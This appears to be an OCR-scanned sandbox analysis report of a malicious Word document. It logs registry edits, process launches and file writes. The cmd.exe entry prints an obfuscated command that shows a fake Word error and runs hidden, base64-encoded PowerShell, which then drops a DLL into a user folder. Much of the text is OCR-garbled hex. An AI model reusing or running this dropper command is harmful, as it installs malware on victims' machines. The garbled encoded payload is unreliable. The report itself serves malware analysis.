HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency success or wait 1 7FEEQ0E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery success or wait 1 7FEEQ0E9ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F535E success or wait 1 7FEEQ0E9ACO unknown
Key Value Created
Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Shared Cambria Math  binary 02 04 05 03 05 04 06 03 02 04 success or wait 1 7FEEQ0E9ACO unknown
Tools\Panose
HKEY_CURRENT_USER\Software\Microsoft\Shared Tahoma binary 02 0B 06 04 03 05 04 04 02 04 success or wait 1 7FEEQ0E9ACO unknown
Tools\Panose
HKEY_CURRENT_USER\Software\Mic F536D binary 04 00 00 00 C4 05 00 00 2A 00 00 00 success or wait 1 7FEEQ0E9ACO unknown
rosoft\Office\14.0\Word\Resili 43 00 3A 00 5C 00 55 00 73 00 65 00
ency\DocumentRecovery\F535E 72 00 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00 67 00 73 00
00 00 00 00 01 00 00 00 00 00 00 00
F6 8F EC A6 6F F3 D6 01 6D 53 OF
00 5E 53 OF 00 00 00 00 00 DB 04 00
00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
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00 00 00 00 00 00 00 00 00 00 00 00 Source
Key Path Name Type B2 0000 00 0000 00 00000000  completion Count Address Symbol

00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

Key Value Modified

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
HKEY_LOCAL_MACHINE\SOFT ProductFiles dword 1379467310 1379467311 success or wait 1 7FEEQ0E9ACO unknown

WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage
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Key Path Name Type

HKEY_LOCAL_MACHINE\SOFT ProductFiles
WARE\Mi

crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa F536D
re\Mic

rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F535E

dword

binary

Copyright null 2021

Old Data
1379467311

04 00 00 00 C4 05 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

New Data

1379467312

04 00 00 00 C4 05 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 67 00 73 00 2E 00 68 00 74 00 67 00 73 00 2E 00 68 00 74

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 F6
8F EC A6 6F F3 D6 01 6D 53
OF 00 5E 53 OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 6D 00 04 00 00 00 69 00

6D 00 67 00 73 00 00 00 00

00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 6D 53

OF 00 5E 53 OF 00 00 00 00

00 DB 04 00 00 02 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

Count Address

1

1

Source
Symbol

7FEE90E9ACO unknown

7FEE90E9ACO unknown
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD &R 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
RRAARH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 2488 Parent PID: 1220

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Copyright null 2021

15:12:37

25/01/2021

C:\Windows\System32\cmd.exe

false

cmd cmd /c m”"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.

& prowe”rs*heMIN -w hirdd”en -“e”nc
SAIgBIACIAKQAgACQYAIAAgAFSAdABSAFAARQBAACYAIgB7ADIAfQB7ADQAQ
B7ADMAfQB7ADUAfQB7ADEAfQB7ADAAFQAIACOAZGANAEBACGBSACCALAANAE

IABZAEUAVAAQGACQAIgA4AHOAdWAIAC

UAYWBOACCALAANAFMAEQBTAHQAZQANACWAIWBVACAAZAANACWAIWBIACAAAQ
ANACWAIWBJIAFIAJWAPACAAIAAPACAAOWBZAGUAVAAGACAAKAANAE QAQWANAC
SAJWBIAFIAIWAPACAAIAAOACAAIABDAHQAEQBWAGUAXQAOACIAeWAWAHOAEW
A4AHOAeWAOAHOAeWASAHOAEWAYAHOAeWAXAHOAEWAZAHOAeWA2AHOASWATAH
0AeWA3AHOAIGAGACOARGAGACCAUWB5AHMAIWASACCARQBSACCALAANAFMAIW
ASACCAdgANACWAIWAUAEAARQBUACCALAANAGSAaQBUAFQABQBhACCALAANAG
KAYWBFAFAAJWASACCATGBBAGCAZQBYACCALAANAHQARQBNACCALAANACAAIW
APACAAKQAGADSAJABUAHQAZQAYAGEAJAAXADOAJABLADY AMgBWACAAKWAGAF
SAYWBOAGEACgBAACIAMWAZACKAIAATACAAJABTADCAMABNADSAJABIJADQAXW
BKADOAKAANAFUAMAANACSAJWA2AEKAIWAPADSAIAACACAAZWBIAHQALQB2AG

EAUgBpAEEAQYBSAEUAIAAOACIAOABaAHCAIgArACIASAAIACKAIAAIAHYAQQ

BsAHUAZOBVAG4AbAAaACKAOWABACIAOWBVAEUAOOBOAFOAZOBaAGOASOBSAG
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 QAIWAJACSAIAANAGWADA QBzAGKAIJWAPACSAKAANAGWALgGBJAGBAIWAIAC
CcAbQANACKAKWANAC4AYgANACSAIWBYACCAKWAOACCALWBOAHIAY QANACSAIw
BjAHQAbwANACKAKWANAHIALQANACSAJWBWACCAKWAOACCAY QANACsAIJWBYAH QBWAHAALWANACSAJWBEAHEASWANACSAIW
BHADEALWANACKAKQAUACIACYBIAGAACABSAGAAQQBDAGUAIgGAOACYAKAANAH
gAIAANACSAIWBbACCAKQArACgAIWAgACCAKWANAHMAaAANACKAKWANACAAY g
ANACKALAAOAFSAYQBYAHIAYQB5AF0AKAANAG4AagANACWAIWBOAHIAIWAPAC
WAIWB5AGOAIWASACCACWBJACCALAAKAEBAYWB5AGUAeABZADAALAANAHCAZA
ANACKAWWAZAFOAKQAUACIAUWBWAGAAbBABPAHQAIGAOACQAWQA3ADAAQQAGAC
SAIAAKAFQAJABIADIAY QBOADEAIAATACAAJABLADEAOABWACKAOWAKAFY AMw
AWAFKAPQAO0ACCAQQA3ACCAKWANADKAVIANACKAOWBMAGBACYBIAGEAYWBOAC
AAKAAKAEWAYQB3ADEAOABXADUAIABPAGAAIAAKAFCAYWB5AGIAZWAXADCAKQ
B7AHQACYB5AHSAKAAUACGAIWBOAGUAJWAtACCAKWANAEBAIWArACCAYgBIAG
UAYWANACSAIJWBOACCAKQAgAFMAWQBZAFQARQBNAC4AbgBIAHQALYBXAGUAYY
BJAEWAaQBIAE4AVAAPACAAIgBKAEBAdWBYAE4ATABJAESAY QBEAEYAaQBIAGANAEgAIWAPAA==
Imagebase: 0x4a8a0000
File size: 345088 bytes
MDS5 hash: 5746BD7E255DD6ABAFA06F7C42C1BA41
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
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Analysis Process: msg.exe PID: 1428 Parent PID: 2488

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

15:12:38

25/01/2021

C:\Windows\System32\msg.exe

false

msg user /v Word experienced an error trying to open the file.
0xff1f0000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2532 Parent PID: 2488
General
Start time: 15:12:38
Start date: 25/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

false

powershell -w hidden -enc |IABZAEUAVAAgACgAIgA4AHOAdWAIACSAIgGBIACIA AMgBWACAAKWAGAFSAYWBOAGEA QBSAFOANQALACSAWWBD QAIWAJACSAIAANAGWADAANADSAJABT AJWArACCALWAhAHgAIWATACCA
|IABbACCAKQArACCcAIABzACCAKWAOACCAaAANACSAIWAGAGIAIWAPACSAIwWBZ
ACCcAKWAOACCAOgAVACCAKWANACBAIWAPACSAKAANAHCADWANACSAIWB3ACCA
KQArACgAJWAUAHIAIJWArACCAMWALAHQAJWAPACSAKAANAGUAYWANACSAJwWBO

ACCAKQArACCALgBIACCAKWAOACCcAaQB6ACCAKWANACBAIWAPACSAKAANAHCA
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Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\E8jow_|

C:\Users\user\E8j9w_I\Yslwun5

C:\Users\user\E8j9w_I\Ys1wun5\145Q.dll

File Path

Old File Path

File Written

Copyright null 2021

JWArACcACAAtAGEAZAANACKAKWAOACCAbQBPAGAAIWArACCALWANACSAIWBW
AFQALWAhACCAKQArACgAIWB4ACCAKWANACAAWWANACKAKWAOACCAIABZAGGA
JWArACCcAIAANACKAKWAOACCAY gABACBALWBSAGEAIWAIACCAZWBPACCAK QAT
ACgAIWBUACCAKWANAGMAIWArACCALYBJAGBADQAVAGKABQBhAGCAZQBZzACCA
KwANRACBAdABIrAC8AIQANACSAIWBAACAAWWAJACCAKQAIACgAIWBZAGYAIABI
ACcAKWANADOALWANACKAKWAOACCALWBUAGBAdgANACSAJWBVADIAIJWATACCA
LgANACKAKWAOACCAZABIACCAKWANAHUACWANACSAIWBZAGEABAB2ACCAKWAN
AGUADbWBIAHIAYQBzAGKAJWAPACSAKAANAGWALGBJAGBAIJWAIACCADQANACKA
KwWANAC4AYgANACsAIWBYACCAKWAOACCALWBOAHIAY QANACSAIWBjAHQAbwAN
ACKAKWANAHIALQANACsAJWBWACCAKWAOACCAY QANACSAIWBYAHQAIWAPACSA
JwBzACOAIWArACCAZWBOACCAKWAOACCAMgANACSAIWA4AGMALWASACBAIQAN
ACKAKWAOACCAeAAgAFSAIAANACSAIWBZACCAKQArACgAIWBOACAAIWATACCA
YJABACBAIJWAPACSAKAANACBAdABYAGUAawBrACcAKWANAGKAbgANACKAKwWAO
ACcAZWBMAGUACWBOACCAKWANAGKAdgANACSAIWBhAGWAJWAPACSAKAANACAA
YwBVAGOALWANACSAIWBKACCAKWANAGUADBQANACSAIWBVACBAIJWArACCAQWAV
ACEAeAAgAFsAIABZACCAKQATACgAIJWBOACAAYgABACCAKWANACBAIWAPACSA
JWAVACCAKWAOACCcAbgBhAHIAJWArACCAbQANACKAKWAOACCAY QANACsAJWBK
AGEAJWArACcALgBtAHkAawBmMACCcAKQArACgAJWBUACCAKWANAC4AYWBVACCA
KQArACgAJWBtACBAY QBWAHAALWANACSAJWBEAHEASWANACSAJWBHADEALWAN
ACKAKQAUACIACYBIAGAACABSAGAAQQBDAGUAIgGA0ACJAKAANAHGAIAANACSA
JwBbACCAKQArACgAJWAgACCAKWANAHMAaAANACKAKWANACAAYgANACKALAAO
AFsAYQBYAHIAYQB5AF0AKAANAG4AagANACWAIWBOAHIAIWAPACWAIWB5AGOA
JWASACCACWBJACCALAAKAEBAYWB5AGUAeABZADAALAANAHCAZAANACKAWWAZ
AFOAKQAUACIAUWBWAGAADBABPAHQAIgAOACQAWQA3SADAAQQAJACSAIAAKAFQA
dABIADIAYQBOADEAIAArACAAJABLADEAOABWACKAOWAKAFY AMWAWAFKAPQAO
ACCAQQA3ACCAKWANADKAVJANACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEWA
YQB3ADEAOABXADUAIABpPAGA4AIAAKAFCAYWB5AGIAZWAXADCAKQB7AHQACgB5
AHSAKAAUACgAIWBOAGUAJWAtACCAKWANAEBAIWArACCAYgBJAGUAYWANACSA
JWBOACCAKQAgAFMAWQBZzAFQARQBNAC4AbgBIAHQALYBXAGUAYgBJAEWAaQBI
AE4AVAAPACAAIgBKAEBAdWBYAE4ATABJAESAY QBEAEYAaQBYAGWARQAIACGA QBOAGMAaAB7AHOA
fQAKAFEANAA3AFEAPQA0ACgAIWBaADgAIWArACCANQANACKAKWANAEGAIWAPAA==

0x13f550000

473600 bytes
852D67A27E454BD389FA7FO2A8CBE23F
true

true

Net C# or VB.NET

high
Source
Attributes Options Completion Count Address Symbol
read data or list device directory file | success or wait 1 7FEE87FBECT7 CreateDirectoryW
synchronous io
non alert | open
for backup ident
| open reparse
point
read data or list device directory file | success or wait 1 7FEE87FBECT7 CreateDirectoryW
synchronous io
non alert | open
for backup ident
| open reparse
point
read attributes | device synchronous io  success or wait & 7FEE87FBECT7 CreateFileW
non alert | non
directory file |
open no recall
Source
Completion Count Address Symbol
Source
Completion Count Address Symbol
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File Path

C:\Users\user\E8j9w_I\Ys1wun5\I145Q.dll

C:\Users\user\E8j9w_I\Ys1wun5\I145Q.dll

Copyright null 2021

Offset Length Value

unknown 4096

unknown 215

3c 21 44 4f 43 54 59
50 45 20 68 74 6d 6¢
3e 0a 3c 21 2d 2d 5b
69 66 20 6¢ 74 20 49
4520 37 5d 3e 20 3c
68 74 6d 6¢ 20 63 6¢C
61 73 73 3d 22 6e 6f
2d 6a 73 20 69 65 36
20 6f 6¢ 64 69 65 22
20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e
20 3c 21 5b 65 6e 64
69 66 5d 2d 2d 3e Oa
3c 21 2d 2d 5b 69 66
2049 45 20 37 5d 3e
202020 20 3c 68 74
6d 6¢ 20 63 6¢ 61 73
73 3d 22 6e 6f 2d 6a
73 20 69 65 37 20 6f
6C 64 69 65 22 20 6¢
61 6e 67 3d 22 65 6e
2d 5553 22 3e 20 3c
21 5b 65 6e 64 69 66
5d 2d 2d 3e Oa 3c 21
2d 2d 5b 69 66 20 49
45 20 38 5d 3e 20 20
20 20 3c 68 74 6d 6¢
2063 6¢ 61 7373 3d
22 6e 6f 2d 6a 73 20
69 65 38 20 6f 6¢ 64
69 65 22 20 6¢ 61 6e
67 3d 22 65 6e 2d 55
5322 3e 20 3¢ 21 5b
65 6e 64 69 66 5d 2d
2d 3e 0a 3c 21 2d 2d
5b 69 66 20 67 74 20
49 45 20

61 6e 3e 0a 20 20 20
20 0a 20 20 3c 2f 70
3e 0a 3c 2f 64 69 76
3e 3c 21 2d 2d 20 2f
2e6572726f722d
66 6f 6f 74 65 72 20
2d 2d 3e Oa 0a 0a 20
20 20 20 3c 2f 64 69
76 3e 3c 21 2d 2d 20
2f 23 63 66 2d 65 72
72 6f 72 2d 64 65 74
61 69 6¢ 73 20 2d 2d
3e 0a 20 20 3c 2f 64
